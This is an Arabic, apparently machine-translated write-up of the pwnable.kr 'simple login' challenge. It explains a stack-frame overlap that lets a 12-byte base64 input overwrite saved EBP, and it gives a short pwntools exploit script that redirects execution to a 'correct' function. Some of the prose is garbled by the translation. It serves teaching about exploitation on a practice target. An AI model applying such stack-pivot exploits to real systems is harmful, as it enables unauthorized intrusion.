في هذه المقالة ، سنحل المهمة 24 من موقع
pwnable.kr ونتعرف على تكديس إطار المكدس.
المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
حل بسيط وظيفة تسجيل الدخول
نواصل القسم الثاني. سأقول على الفور أنه أكثر صعوبة من الأول ولن يتم تزويدنا بالكود المصدري للتطبيقات. لا تنسى المناقشة
هنا . لنبدأ.
انقر على أيقونة مع تسجيل الدخول بسيطة التوقيع. يتم منحنا العنوان والمنفذ للاتصال والبرنامج نفسه.

قم بتنزيل كل ما يقدمونه لنا ، تحقق من الملف الثنائي.

هذا هو قزم 32 بت مع مكدس الكناري وغير قابلة للتنفيذ. نحن فك تجميع في المؤسسة الدولية للتنمية برو.

في البرنامج ، يتم فك شفرة بيانات المستخدم من base64. المتغير v7 يخزن طول السلسلة فك الشفرة. علاوة على ذلك ، تتم مقارنة v7 مع 12. إذا تم تمرير التحقق ، يتم نسخ السلسلة التي تم فك شفرتها إلى متغير الإدخال ، ثم تسمى وظيفة المصادقة ، والتي يتم تمرير طول السلسلة التي تم فك شفرتها كمعلمة. وإذا مررنا المصادقة ، تسمى الوظيفة الصحيحة. دعونا نلقي نظرة على وظيفة المصادقة.

يبدو وكأنه تجاوز سعة المخزن المؤقت. نلقي نظرة على المكدس.

لا. لا يمكننا تجاوز سعة المخزن المؤقت ، حيث يتطلب ذلك أكثر من 12 بايت. تعد العناوين التي يتم تخزين قيمة المتغيرات فيها مثيرة للاهتمام ، وخاصة المتغير v4 الذي يتم إجراء النسخ إليه.

هذا هو العنوان [ESP + 32]. ألقِ نظرة على الكود الخاص بهذا في شكل مفكك.

الإرشادات التالية مطلوبة لحفظ إطار مكدس.
push ebp
mov ebp, esp
لاستعادة المكدس ، استخدم جملة الإجازة. الذي نقوم به العمليات العكسية.

الأكثر إثارة للاهتمام هو ثالث تعليمات
sub esp, 28h
.
وبالتالي ، يحدث التداخل: esp تنخفض بنسبة 40 ، ويقع المتغير v2 في esp + 32 ويستغرق 12 بايت. أي بعد نقل القيمة من esp إلى ebp ، سيتم حفظ عنوان البايتات الأربعة الأخيرة للمتغير v2 في ebp. عند تنفيذ إرشادات الإجازة و retn ، ستكون البايتات الأربعة الأخيرة من المتغير v2 في الإطار العالي للمكدس.
دعونا التحقق وإعطاء خط الإدخال QUFBQUFBQUFCQkJC.

إذا كان افتراضنا صحيحًا ، فبعد تنفيذ retn في وظيفة المصادقة ، سيكون الجزء العلوي من المجموعة هو عنوان "BBBB".

الآن تنفيذ إجازة.

هناك "BBBB" في EBP والآن بعد تنفيذ الإجازة في الوظيفة الرئيسية ، سيتعطل البرنامج. وبالتالي ، يمكننا أمام عنوان الجزء العلوي من الحزمة التي يوجد بها العنوان الذي نريد أن نذهب إليه. بعد ذلك ، سيكون التحميل كالتالي: 4 أي عنوان بايت + حيث نذهب + عنوان إلى بداية التحميل.
أولاً ، اكتب قالبًا.
from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() r.interactive()
نكتشف الآن العنوان الذي نريد أن نذهب إليه - هذا هو 0x8049284 داخل الوظيفة الصحيحة.

سيكون هذا العنوان هو الجزء الثاني من الحمل لدينا. الجزء الثالث من الحمل سيكون عنوان متغير الإدخال (عنوان التحميل).

نحن نؤلف الحمل في الكود. لا تنس أن ترميز في base64:
payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload)
كود كامل.
from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload) r.send(payload+"\n") r.interactive()

واحصل على نقاطك بصراحة ، لم تكن هذه المهمة سهلة للغاية بالنسبة لي.

ونحن نواصل: في المقال القادم - الطب الشرعي. يمكنك الانضمام إلينا على
Telegram .